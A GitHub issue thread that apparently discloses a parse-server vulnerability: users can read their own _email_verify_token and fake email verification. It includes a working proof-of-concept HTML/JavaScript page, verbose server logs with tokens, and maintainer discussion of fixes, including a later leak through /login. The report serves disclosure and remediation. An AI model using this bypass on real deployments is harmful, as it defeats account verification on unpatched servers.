Skip to content

Vulnerability: Email verification can be circumvented by reading _email_verify_token #3432

Closed

Description

@haapaan

User who has just signed up, can get his/her email verified without having to click the link in the email.

The root cause of the problem is that _email_verify_token can be read by the user.
(There is another issue #3393 where problem is that emailVerified can be written by the user.)

Steps to reproduce

  1. Set the following settings in the server.js:
    verifyUserEmails: true,
    emailVerifyTokenValidityDuration: 2 * 60 * 60,
    preventLoginWithUnverifiedEmail: true,

  2. signup, and get the _email_verify_token with /parse/users/me

  3. Fabricate email verification URL and redirect browser there

Here is sample page that does just that:
<html>
<head>
<script type="text/javascript" src="https://npmcdn.com/parse/dist/parse.js"\>\</script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"\>\</script>
<script type="text/javascript">
function signupAndFakeEmailVerification()
{
Parse.initialize('e5c10b31d8716509af3e571260aed8b571dcdec1');
Parse.serverURL = 'http://127.0.0.1:8888/parse';

    var user = new Parse.User();
    user.set("username", "hacker2");
    user.set("password", "passwd");
    user.set("email", "hacker@example.com");

    user.signUp(null, {
          success: function(user) {			  
             // Signup succeeded
             alert("Signup succeeded " +user);			
			
			$.ajaxSetup({
                headers : {
                'X-Parse-Application-Id' : 'e5c10b31d8716509af3e571260aed8b571dcdec1',
                'X-Parse-Session-Token' : Parse.User.current().getSessionToken()
                }
             });
			 
		     // Circumvent email verification by getting _email_verify_token
             $.getJSON('http://127.0.0.1:8888/parse/users/me', function (data) {
				window.location = 'http://127.0.0.1:8888/parse/apps/e5c10b31d8716509af3e571260aed8b571dcdec1/verify_email?token='+data._email_verify_token+'&username=hacker2';
             })
			 .error(function(jqXHR, textStatus, errorThrown) {
                  alert("error " + textStatus);
                  alert("incoming Text " + jqXHR.responseText);
             });				

			alert("new user " + newuser);			
          },
          error: function(user, error) {
            alert("Error: " + error.code + "\n\nwhat is the error \n\n " + error.message);
          }
    });   

}
</script>
</head>
<body onload="signupAndFakeEmailVerification()">
</body>
</html>

Expected Results

User is not able to read his/her _email_verify_token in step 2.

Actual Outcome

User can read his/her _email_verify_token, and thus fabricate the email verification link.
Email verification succeeds and now user has emailVerified true in the database.

Environment Setup

  • Server

    • parse-server version : 2.3.2
    • Operating System: Ubuntu 14.04.5 LTS (running on VirtualBox virtual machine)
    • Hardware: EliteBook 8470p running VirtualBox Version 5.0.30 r112061
    • Localhost or remote server?: localhost
  • Database

    • MongoDB version: v3.0.9
    • Storage engine: default
    • Hardware: EliteBook 8470p running VirtualBox Version 5.0.30 r112061
    • Localhost or remote server?: localhost

Logs/Trace

verbose: REQUEST for [POST] /parse/users: {
"username": "hacker2",
"password": "",
"email": "hacker@example.com"
} method=POST, url=/parse/users, host=127.0.0.1:1337, user-agent=Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0, accept=text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8, accept-language=en-US,en;q=0.5, accept-encoding=gzip, deflate, content-type=text/plain, origin=null, x-forwarded-for=10.0.2.2, x-forwarded-host=127.0.0.1:8888, x-forwarded-server=localhost, connection=Keep-Alive, content-length=215, username=hacker2, password=
, email=hacker@example.com
info: beforeSave triggered for _User for user undefined:
Input: {"username":"hacker2","password":"","email":"hacker@example.com","ACL":{}}
Result: {"object":{"ACL":{},"username":"hacker2","password":"
","email":"hacker@example.com"}} className=_User, triggerType=beforeSave, user=undefined
verbose: RESPONSE from [POST] /parse/users: {
"status": 201,
"response": {
"objectId": "rkaOIgFssv",
"createdAt": "2017-01-20T14:37:28.752Z",
"ACL": {
"rkaOIgFssv": {
"read": true,
"write": true
}
},
"sessionToken": "r:01d90b5949931fa92aea0d892075253c"
},
"location": "http://127.0.0.1:8888/parse/users/rkaOIgFssv"
} status=201, objectId=rkaOIgFssv, createdAt=2017-01-20T14:37:28.752Z, read=true, write=true, sessionToken=r:01d90b5949931fa92aea0d892075253c, location=http://127.0.0.1:8888/parse/users/rkaOIgFssv
verbose: REQUEST for [GET] /parse/users/me: {} method=GET, url=/parse/users/me, host=127.0.0.1:1337, user-agent=Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0, accept=application/json, text/javascript, /; q=0.01, accept-language=en-US,en;q=0.5, accept-encoding=gzip, deflate, x-parse-application-id=e5c10b31d8716509af3e571260aed8b571dcdec1, x-parse-session-token=r:01d90b5949931fa92aea0d892075253c, origin=null, x-forwarded-for=10.0.2.2, x-forwarded-host=127.0.0.1:8888, x-forwarded-server=localhost, connection=Keep-Alive,
verbose: RESPONSE from [GET] /parse/users/me: {
"response": {
"username": "hacker2",
"createdAt": "2017-01-20T14:37:28.752Z",
"emailVerified": false,
"email": "hacker@example.com",
"updatedAt": "2017-01-20T14:37:28.752Z",
"objectId": "rkaOIgFssv",
"_email_verify_token_expires_at": {
"__type": "Date",
"iso": "2017-01-20T16:37:28.858Z"
},
"_email_verify_token": "s86MRoputHM3CAn7CWGDukPlM",
"ACL": {
"rkaOIgFssv": {
"read": true,
"write": true
}
},
"__type": "Object",
"className": "_User",
"sessionToken": "r:01d90b5949931fa92aea0d892075253c"
}
} username=hacker2, createdAt=2017-01-20T14:37:28.752Z, emailVerified=false, email=hacker@example.com, updatedAt=2017-01-20T14:37:28.752Z, objectId=rkaOIgFssv, __type=Date, iso=2017-01-20T16:37:28.858Z, _email_verify_token=s86MRoputHM3CAn7CWGDukPlM, read=true, write=true, __type=Object, className=_User, sessionToken=r:01d90b5949931fa92aea0d892075253c
verbose: REQUEST for [GET] /parse/apps/e5c10b31d8716509af3e571260aed8b571dcdec1/verify_email?token=s86MRoputHM3CAn7CWGDukPlM&username=hacker2: {} method=GET, url=/parse/apps/e5c10b31d8716509af3e571260aed8b571dcdec1/verify_email?token=s86MRoputHM3CAn7CWGDukPlM&username=hacker2, host=127.0.0.1:1337, user-agent=Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0, accept=text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8, accept-language=en-US,en;q=0.5, accept-encoding=gzip, deflate, upgrade-insecure-requests=1, x-forwarded-for=10.0.2.2, x-forwarded-host=127.0.0.1:8888, x-forwarded-server=localhost, connection=Keep-Alive,
verbose: RESPONSE from [GET] /parse/apps/e5c10b31d8716509af3e571260aed8b571dcdec1/verify_email?token=s86MRoputHM3CAn7CWGDukPlM&username=hacker2: {
"status": 302,
"location": "http://127.0.0.1:8888/parse/apps/verify_email_success.html?username=hacker2"
} status=302, location=http://127.0.0.1:8888/parse/apps/verify_email_success.html?username=hacker2

Activity

  1. cherukumilli commented on Jan 27, 2017

    @cherukumilli
    Contributor

    @haapaan
    Good catch.

    @bhaskaryasa @flovilmart

    To fix the problem we need to update parse-server code to:
    Solution 1: (needs major changes)

    • make a list of the hidden fields (_perishable_token, _email_verify_token, _password_history, ...)
    • move all these hidden fields out of the _User table into a _User_hidden table
    • restrict access to this _User_hidden table only to the masterkey user

    Or

    Solution 2: (easier. requires very few changes)

    • Update handleMe in UsersRouter.js, call unset on all the hidden fields before sending a response back to the client

    Or
    Is there a way to delete the hidden fields in RestQuery.js?

  2. flovilmart commented on Jan 27, 2017

    @flovilmart
    Contributor

    I prefer solution 2, as it doesn't require any schema updates.
    We could probably even not select the fields upon querying no?

  3. cherukumilli commented on Jan 27, 2017

    @cherukumilli
    Contributor

    @flovilmart

    Looking at the code I am unable to figure out how to not select the hidden fields...

    handleMe() has the following code snippet. It is grabbing the entire user and that is what is sent back in the response currently.

        return rest.find(req.config, Auth.master(req.config), '_Session',
          { sessionToken },
          { include: 'user' }, req.info.clientSDK)
    

    rest.find and RestQuery() also do not appear to have a way to not select the hidden columns.

  4. bhaskaryasa commented on Jan 28, 2017

    @bhaskaryasa
    Contributor

    @cherukumilli @flovilmart
    It looks like RestWrite is currently handling removal of hidden fields in sanitizedData. Surprisingly I don't see an equivalent in RestQuery.

  5. flovilmart commented on Jan 28, 2017

    @flovilmart
    Contributor

    Those fields should be transformed like the _auth_data_facebook at one point or stripped out ATM. But yes, they are not filtered when issuing the query using a sort of select

  6. self-assigned this
    on Feb 10, 2017
  7. cherukumilli commented on Feb 10, 2017

    @cherukumilli
    Contributor

    I will take a shot at fixing this issue over the weekend

  8. removed their assignment
    on Apr 12, 2017
  9. montymxb commented on Jul 24, 2017

    @montymxb
    Contributor

    Closing this as resolved in #3681. Let us know if there's anything else that needs to be covered.

  10. gyratorycircus commented on Nov 9, 2017

    @gyratorycircus
    Contributor

    It looks like while this was addressed for /users/me, authenticating via /login still returns _email_verify_token.

    EDIT: Created PR #4335 to fix this

  11. montymxb commented on Nov 10, 2017

    @montymxb
    Contributor

    @gyratorycircus checking against parse-server 2.6.5 I don't see the token leaking from the login endpoint. Can you indicate what version of parse-server you observed this in?

  12. montymxb commented on Nov 10, 2017

    @montymxb
    Contributor

    Took a second look based on the PR submitted above. Can confirm this is present under the login endpoint.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions